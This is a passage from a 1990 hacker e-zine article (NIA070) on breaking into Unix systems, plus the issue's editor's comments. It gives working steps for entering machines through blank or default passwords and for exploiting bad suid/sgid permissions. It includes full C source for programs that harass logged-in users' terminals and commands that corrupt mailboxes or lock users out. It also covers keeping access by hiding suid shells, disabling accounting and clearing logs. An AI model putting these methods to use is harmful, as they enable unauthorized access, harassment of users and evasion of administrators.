Now, mainly you will find BSD systems off of the Internet, or SunOS, for
they are the most common. They may not be when System V, Rel 4.0, Version
2.0 comes out. Anyway, these BSDs/SunOSs like to make it easy to jump
from one computer to another once you are logged in. What happens is
EACH system has a "yello page password file". Better known as yppasswd.
If you look in there, and see blank passwords you can use rsh, rlogin, etc..
to slip into that system. One system in particular I came across had a
a yppasswd file where *300* users had blank passwords in the Yellow Pages.
Once I got in on the "test" account, ALL I had to do was select who I wanted
to be, and do: rlogin -l user (sometimes -n). Then it would log me onto
the system I was already on, through TCP/IP. However, when you do this,
remember that the yppasswd only pertains to the system you are on at
the time. To find accounts, you could find the yppasswd file and do:
% cat yppasswd | grep ::
Or, if you can't find yppasswd..
% ypcat passwd | grep ::
On ONE system (which will remain confidential), I found the DAEMON account
left open in the yppasswd file. Not bad. Anyway, through one system
on the internet, you can reach many. Just use rsh, or rlogin, and look
in the file: /etc/hosts for valid sites which you can reach. If you get
on to a system, and rlogin to somewhere else, and it asks for a password,
that just means one of two things:
A. Your account that you have hacked on the one computer is on the target
computer as well. Try to use the same password (if any) you found the
hacked account to have. If it is a default, then it is definitly on the
other system, but good luck...
B. rlogin/rsh passed your current username along to the remote system, so it
was like typing in your login at a "login: " prompt. You may not exist on
the other machine. Try "rlogin -l login_name", or rlogin -n name..
sometimes, you can execute "rwho" on another machine, and get a valid
account.
Some notes on Internet servers. There are "GATEWAYS" that you can get into
that will allow access to MANY internet sites. They are mostly run off
a modified GL/1 or GS/1. No big deal. They have help files. However,
you can get a "privilged" access on them, which will give you CONTROL of
the gateway.. You can shut it down, remove systems from the Internet, etc..
When you request to become privileged, it will ask for a password. There is
a default. The default is "system". I have come across *5* gateways with
the default password. Then again, DECNET has the same password, and I have
come across 100+ of those with the default privileged password. CERT Sucks.
a Gateway that led to APPLE.COM had the default password. Anyone could
have removed apple.com from the internet. Be advised that there are many
networks now that use TCP/IP.. Such as BARRNET, LANET, and many other
University networks.
--** Having Fun **--
Now, if nothing else, you should atleast have some fun. No, I do not mean
go trashing hardrives, or unlinking directories to take up inodes, I mean
play with online users. There are many things to do. Re-direct output
to them is the biggie. Here is an example:
$ who
loozer tty1
sirhack tty2
$ banner You Suck >/dev/tty1
$
That sent the output to loozer. The TTY1 is where I/O is being performed
to his terminal (usually a modem if it is a TTY). You can repetitiously
banner him with a do while statement in shell, causing him to logoff. Or
you can get sly, and just screw with him. Observe this C program:
#include <stdio.h>
#include <fcntl.h>
#include <string.h>
main(argc,argument)
int argc;
char *argument[];
{
int handle;
char *pstr,*olm[80];
char *devstr = "/dev/";
int acnt = 2;
FILE *strm;
pstr = "";
if (argc == 1) {
printf("OL (OneLiner) Version 1.00 \n");
printf("By Sir Hackalot [PHAZE]\n");
printf("\nSyntax: ol tty message\n");
printf("Example: ol tty01 You suck\n");
exit(1);
}
printf("OL (OneLiner) Version 1.0\n");
printf("By Sir Hackalot [PHAZE]\n");
if (argc == 2) {
strcpy(olm,"");
? printf("\nDummy! You forgot to Supply a ONE LINE MESSAGE\n");
printf("Enter one Here => ");
gets(olm);
}
strcpy(pstr,"");
strcat(pstr,devstr);
strcat(pstr,argument[1]);
printf("Sending to: [%s]\n",pstr);
strm = fopen(pstr,"a");
if (strm == NULL) {
printf("Error writing to: %s\n",pstr);
printf("Cause: No Write Perms?\n");
exit(2);
}
if (argc == 2) {
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from
(%s): \n",logname());
fprintf(strm,"%s\n",olm);
fclose(strm);
printf("Message Sent.\n");
exit(0);
}
if (argc > 2) {
if (strcmp(logname(),"sirhack") != 0) fprintf(strm,"Message from
(%s):\n",logname());
while (acnt <= argc - 1) {
fprintf(strm,"%s ",argument[acnt]);
acnt++;
}
fclose(strm);
printf("Message sent!\n");
exit(0);
}
}
What the above does is send one line of text to a device writeable by you
in /dev. If you try it on a user named "sirhack" it will notify sirhack
of what you are doing. You can supply an argument at the command line, or
leave a blank message, then it will prompt for one. You MUST supply a
Terminal. Also, if you want to use ?, or *, or (), or [], you must not
supply a message at the command line, wait till it prompts you. Example:
$ ol tty1 You Suck!
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Sending to: [/dev/tty1]
Message Sent!
$
Or..
$ ol tty1
OL (OneLiner) Version 1.00
by Sir Hackalot [PHAZE]
Dummy! You Forgot to Supply a ONE LINE MESSAGE!
Enter one here => Loozer! Logoff (NOW)!! ?G?G
Sending to: [/dev/tty1]
Message Sent!
$
You can even use it to fake messages from root. Here is another:
/*
* Hose another user
*/
#include <stdio.h>
#include <sys/types.h>
#include <sys/stat.h>
#include <signal.h>
#include <utmp.h>
#include <time.h>
#include <termio.h>
#include <sys/utsname.h>
#define NMAX sizeof(ubuf.ut_name)
struct utmp ubuf;
struct termio oldmode, mode;
struct utsname name;
int yn;
int loop = 0;
char *realme[50] = "Unknown";
char *strcat(), *strcpy(), me[50] = "???", *him, *mytty, histty[32];
char *histtya, *ttyname(), *strrchr(), *getenv();
int signum[] = {SIGHUP, SIGINT, SIGQUIT, 0}, logcnt, eof(), timout();
FILE *tf;
main(argc, argv)
int argc;
char *argv[];
{
register FILE *uf;
char c1, lastc;
int goodtty = 0;
long clock = time((long *) 0);
struct tm *localtime();
struct tm *localclock = localtime( &clock );
struct stat stbuf;
char psbuf[20], buf[80], window[20], junk[20];
?
FILE *pfp, *popen();
if (argc < 2) {
printf("usage: hose user [ttyname]\n");
exit(1);
}
him = argv[1];
if (argc > 2)
histtya = argv[2];
if ((uf = fopen("/etc/utmp", "r")) == NULL) {
printf("cannot open /etc/utmp\n");
exit(1);
}
cuserid(me);
if (me == NULL) {
printf("Can't find your login name\n");
exit(1);
}
mytty = ttyname(2);
if (mytty == NULL) {
printf("Can't find your tty\n");
exit(1);
}
if (stat(mytty, &stbuf) < 0) {
printf("Can't stat your tty -- This System is bogus.\n");
}
if ((stbuf.st_mode&02) == 0) {
printf("You have write permissions turned off (hehe!).\n");
}
if (histtya) {
if (!strncmp(histtya, "/dev/", 5))
histtya = strrchr(histtya, '/') + 1;
strcpy(histty, "/dev/");
strcat(histty, histtya);
}
while (fread((char *)&ubuf, sizeof(ubuf), 1, uf) == 1) {
if (ubuf.ut_name[0] == '\0')
continue;
if (!strncmp(ubuf.ut_name, him, NMAX)) {
? logcnt++;
? if (histty[0]==0) {
strcpy(histty, "/dev/");
strcat(histty, ubuf.ut_line);
}
if (histtya) {
if (!strcmp(ubuf.ut_line, histtya))
goodtty++;
}
}
}
fclose(uf);
if (logcnt==0) {
printf("%s not found! (Not logged in?)\n", him);
exit(1);
}
if (histtya==0 && logcnt > 1) {
printf("%s logged more than once\nwriting to %s\n", him, histty+5);
}
if (access(histty, 0) < 0) {
printf("No such tty? [%s]\n",histty);
?? exit(1);
? }
signal(SIGALRM, timout);
alarm(5);
if ((tf = fopen(histty, "w")) == NULL)
goto perm;
alarm(0);
if (fstat(fileno(tf), &stbuf) < 0)
goto perm;
if (geteuid() != 0 && (stbuf.st_mode&02) == 0)
goto perm;
ioctl(0, TCGETA, &oldmode); /* save tty state */
ioctl(0, TCGETA, &mode);
sigs(eof);
uname(&name);
if (strcmp(him,"YOURNAMEHERE") == 0) yn = 1;
if (yn == 1 ) {
fprintf(tf, "\r(%s attempted to HOSE You with NW)\r\n",me);
fclose(tf);
printf("Critical Error Handler: %s running conflicting process\n",him);
exit(1);
}
fflush(tf);
mode.c_cc[4] = 1;
mode.c_cc[5] = 0;
mode.c_lflag &= ~ICANON;
ioctl(0, TCSETAW, &mode);
lastc = '\n';
printf("Backspace / Spin Cursor set lose on: %s\n",him);
while (loop == 0) {
c1 = '\b';
write(fileno(tf),&c1,1);
sleep(5);
fprintf(tf,"\\\b|\b/\b-\b+\b");
fflush(tf);
}
perm:
printf("Write Permissions denied!\n");
exit(1);
}
timout()
{
printf("Timeout opening their tty\n");
exit(1);
}
eof()
{
printf("Bye..\n");
ioctl(0, TCSETAW, &oldmode);
exit(0);
}
ex()
{
register i;
sigs(SIG_IGN);
i = fork();
if (i < 0) {
printf("Try again\n");
goto out;
}
if (i == 0) {
sigs((int (*)())0);
execl(getenv("SHELL")?getenv("SHELL"):"/bin/sh","sh","-t",0);
exit(0);
}
while(wait((int *)NULL) != i)
;
printf("!\n");
out:
sigs(eof);
}
sigs(sig)
int (*sig)();
{
register i;
for (i=0; signum[i]; i++)
signal(signum[i], sig);
}
What the above is, is a modified version of the standard write command.
What it does, is spin the cursor once, then backspace once over the
screen of the user it is run on. All though, it does not physically affect
input, the user thinks it does. therefore, he garbles input. The sleep(xx)
can be changed to make the stuff happen more often, or less often.
If you put your login name in the "YOURNAMEHERE" slot, it will protect you
from getting hit by it, if someone off a Public access unix leeches the
executable from your directory.
You could make a shorter program that does almost the same thing, but
you have to supply the terminal, observe:
/* Backspace virus, by Sir Hackalot [Phaze] */
#include <stdio.h>
#include <fcntl.h>
main(argc,argv)
char *argv[];
int argc;
{
int x = 1;
char *device = "/dev/";
FILE *histty;
if (argc == 1) {
printf("Bafoon. Supply a TTY.\n");
exit(1);
}
strcat(device,argv[1]);
/* Make the filename /dev/tty.. */
histty = fopen(device,"a");
if (histty == NULL) {
printf("Error opening/writing to tty. Check their perms.\n");
exit(1);
}
printf("BSV - Backspace virus, By Sir Hackalot.\n");
printf("The Sucker on %s is getting it!\n",device);
while (x == 1) {
fprintf(histty,"\b\b");
fflush(histty);
sleep(5);
}
}
Thats all there is to it. If you can write to their tty, you can use this on
them. It sends two backspaces to them every approx. 5 seconds. You
should run this program in the background. (&). Here is an example:
$ who
sirhack tty11
loozer tty12
$ bsv tty12&
[1] 4566
BSV - Backspace virus, by Sir Hackalot
The Sucker on /dev/tty12 is getting it!
$
Now, it will keep "attacking" him, until he loggs of, or you kill the process
(which was 4566 -- when you use &, it gives the pid [usually]).
** Note *** Keep in mind that MSDOS, and other OP s
ystems use The CR/LF
method to terminate a line. However, the LF terminates a line in Unix.
you must STRIP CR's on an ascii upload if you want something you upload
to an editor to work right. Else, you'll see a ?M at the end of every
line. I know that sucks, but you just have to compensate for it.
I have a number of other programs that annoy users, but that is enough to
get your imagination going, provided you are a C programmer. You can annoy
users other ways. One thing you can do is screw up the user's mailbox.
The way to do this is to find a binary file (30k or bigger) on the system
which YOU have access to read. then, do this:
$ cat binary_file | mail loozer
or
$ mail loozer < binary file
That usually will spilt into 2 messages or more. The 1st message will
have a from line.. (from you ..), but the second WILL NOT! Since it does
not, the mail reader will keep exiting and giving him an error message until
it gets fixed.. The way to fix it is to go to the mail box that got hit
with this trick (usually only the one who got hit (or root) and do this),
and edit the file, and add a from line.. like
>From username..
then it will be ok. You can screw the user by "cat"ing a binary to his tty.
say Loozer is on tty12. You can say..
$ cat binary_file >/dev/tty12
$
It may pause for a while while it outputs it. If you want to resume what
you were doing instantly, do:
$ cat binary_file >/dev/tty12&
[1] 4690
$
And he will probably logoff. You can send the output of anything to his
terminal. Even what YOU do in shell. Like this:
$ sh >/dev/tty12
$
You'll get your prompts, but you won't see the output of any commands, he
will...
$ ls
$ banner Idiot!
$ echo Dumbass!
$
until you type in exit, or hit ctrl-d.
There are many many things you can do. You can fake a "write" to someone
and make them think it was from somewhere on the other side of hell. Be
creative.
When you are looking for things to do, look for holes, or try to get
someone to run a trojan horse that makes a suid shell. If you get
someone to run a trojan that does that, you can run the suid, and log their
ass off by killing their mother PID. (kill -9 whatever). Or, you can
lock them out by adding "kill -1 0" to their .profile. On the subject of
holes, always look for BAD suid bits. On one system thought to be invincible
I was able to read/modify everyone's mail, because I used a mailer that had
both the GroupID set, and the UserID set. When I went to shell from it,
the program instantly changed my Effective ID back to me, so I would not be
able to do anything but my regular stuff. But it was not designed to change
the GROUP ID back. The sysop had blundered there. SO when I did an ID
I found my group to be "Mail". Mailfiles are readble/writeable by the
user "mail", and the group "mail". I then set up a sgid (set group id) shell
to change my group id to "mail" when I ran it, and scanned important mail,
and it got me some good info. So, be on the look out for poor permissions.
Also, after you gain access, you may want to keep it. Some tips on doing so
is:
1. Don't give it out. If the sysadm sees that joeuser logged in 500
times in one night....then....
2. Don't stay on for hours at a time. They can trace you then. Also
they will know it is irregular to have joeuser on for 4 hours
after work.
3. Don't trash the system. Don't erase important files, and don't
hog inodes, or anything like that. Use the machine for a specific
purpose (to leech source code, develop programs, an Email site).
Dont be an asshole, and don't try to erase everything you can.
4. Don't screw with users constantly. Watch their processes and
run what they run. It may get you good info (snoop!)
5. If you add an account, first look at the accounts already in there
If you see a bunch of accounts that are just 3 letter abbrv.'s,
then make yours so. If a bunch are "cln, dok, wed" or something,
don't add one that is "joeuser", add one that is someone's
full initials.
6. When you add an account, put a woman's name in for the
description, if it fits (Meaning, if only companies log on to the
unix, put a company name there). People do not suspect hackers
to use women's names. They look for men's names.
7. Don't cost the Unix machine too much money. Ie.. don't abuse an
outdial, or if it controls trunks, do not set up a bunch of dial
outs. If there is a pad, don't use it unless you NEED it.
8. Don't use x.25 pads. Their usage is heavily logged.
9. Turn off acct logging (acct off) if you have the access to.
Turn it on when you are done.
10. Remove any trojan horses you set up to give you access when you
get access.
11. Do NOT change the MOTD file to say "I hacked this system" Just
thought I'd tell you. Many MANY people do that, and lose access
within 2 hours, if the unix is worth a spit.
12. Use good judgement. Cover your tracks. If you use su, clean
up the sulog.
13. If you use cu, clean up the cu_log.
14. If you use the smtp bug (wizard/debug), set up a uid shell.
15. Hide all suid shells. Here's how:
goto /usr
(or any dir)
do:
# mkdir ".. "
# cd ".. "
# cp /bin/sh ".whatever"
# chmod a+s ".whatever"
The "" are NEEDED to get to the directory .. ! It will not show
up in a listing, and it is hard as hell to get to by sysadms if
you make 4 or 5 spaces in there (".. "), because all they will
see in a directory FULL list will be .. and they won't be able to
get there unless they use "" and know the spacing. "" is used
when you want to do literals, or use a wildcard as part of a file
name.
16. Don't hog cpu time with password hackers. They really don't work
well.
17. Don't use too much disk space. If you archieve something to dl,
dl it, then kill the archieve.
18. Basically -- COVER YOUR TRACKS.
Some final notes:
Now, I hear lots of rumors and stories like "It is getting harder to get
into systems...". Wrong. (Yo Pheds! You reading this??). It IS true
when you are dealing with WAN's, such as telenet, tyment, and the Internet,
but not with local computers not on those networks. Here's the story:
Over the past few years, many small companies have sprung up as VARs
(Value Added Resellers) for Unix and Hardware, in order to make a fast
buck. Now, these companies fast talk companies into buying whatever,
and they proceed in setting up the Unix. Now, since they get paid by
the hour usaually when setting one up, they spread it out over days....
during these days, the system is WIDE open (if it has a dialin). Get
in and add yourself to passwd before the seal it off (if they do..).
Then again, after the machine is set up, they leave the defaults on the
system. Why? The company needs to get in, and most VARs cannot use
unix worth a shit, all they know how to do is set it up, and that is ALL.
Then, they turn over the system to a company or business that USUALLY
has no-one that knows what they hell they are doing with the thing, except
with menus. So, they leave the system open to all...(inadvertedly..),
because they are not competant. So, you could usually get on, and create
havoc, and at first they will think it is a bug.. I have seen this
happen ALL to many times, and it is always the same story...
The VAR is out for a fast buck, so they set up the software (all they know
how to do), and install any software packages ordered with it (following
the step by step instructions). Then they turn it over to the business
who runs a word processor, or database, or something, un aware that a
"shell" or command line exists, and they probably don't even know root does.
So, we will see more and more of these pop up, especially since AT&T is
now bundling a version of Xwindows with their new System V, and Simultask...
which will lead to even more holes. You'll find systems local to you
that are easy as hell to get into, and you'll see what I mean. These
VARs are really actually working for us. If a security problem arises
that the business is aware of, they call the VAR to fix it... Of course,
the Var gets paid by the hour, and leaves something open so you'll get in
again, and they make more moolahhhh.
You can use this phile for whatever you want. I can't stop you. Just
to learn unix (heh) or whatever. But its YOUR ass if you get caught.
Always consider the penalties before you attempt something. Sometimes
it is not worth it, Sometimes it is.
This phile was not meant to be comprehensive, even though it may seem like
it. I have left out a LOT of techniques, and quirks, specifically to get
you to learn SOMETHING on your own, and also to retain information so
I will have some secrets. You may pass this file on, UNMODIFIED, to any
GOOD H/P BBS. Sysops can add things to the archieve to say where
it was DL'd from, or to the text viewer for the same purpose. This is
Copywrited (haha) by Sir Hackalot, and by PHAZE, in the year 1990.
-Sir Hackalot of PHAZE
1990.
=============================================================================
/ /
/ File 08 / NIA070 /
/ Editor's Comments /
/ JD & GOT /
/ /
Well, sorry this one took longer than I expected as I ran into personal
problems after issue 069 and could not for a bit have totall control over
what happened.
I regret to inform you that GOT can no longer help me publish this newsletter,
due to circumstances beyond his and my control. Hopefully he will be back
and resuming editing in a few months.
Any complaints may go to my address (elisem@nuchat.sccsi.com), please do
not send them anywhere else. Submissions, questions, and comments
may be directed to elisem@nuchat.sccsi.com also.
NIA can be found on the CuD Archive Server (Refer: CuD Magazine), Face To
Face BBS (Refer: 713.242.NUKE) [temporarily down], and Unholy Temple (Refer:
408.PRI.VATE). You can also write to my Internet address to be placed on the
mailling list and to get the current issue.
Also, a message from Montresor (Refer: Face To Face BBS), the board should
be back up within the next few weeks. Please keep checking.
I thank Mike Godwin and the lawers at EFF for help in dealing with past
events. Best of luck to ya'll.
Well, there's not much more else to say, 'cept keep livin' by the Golden
Rule: Always, Always Look _Good_.
JD n' GOT
Ignorance, There's No Excuse.
NIA - Network Information Access
=============================================================================
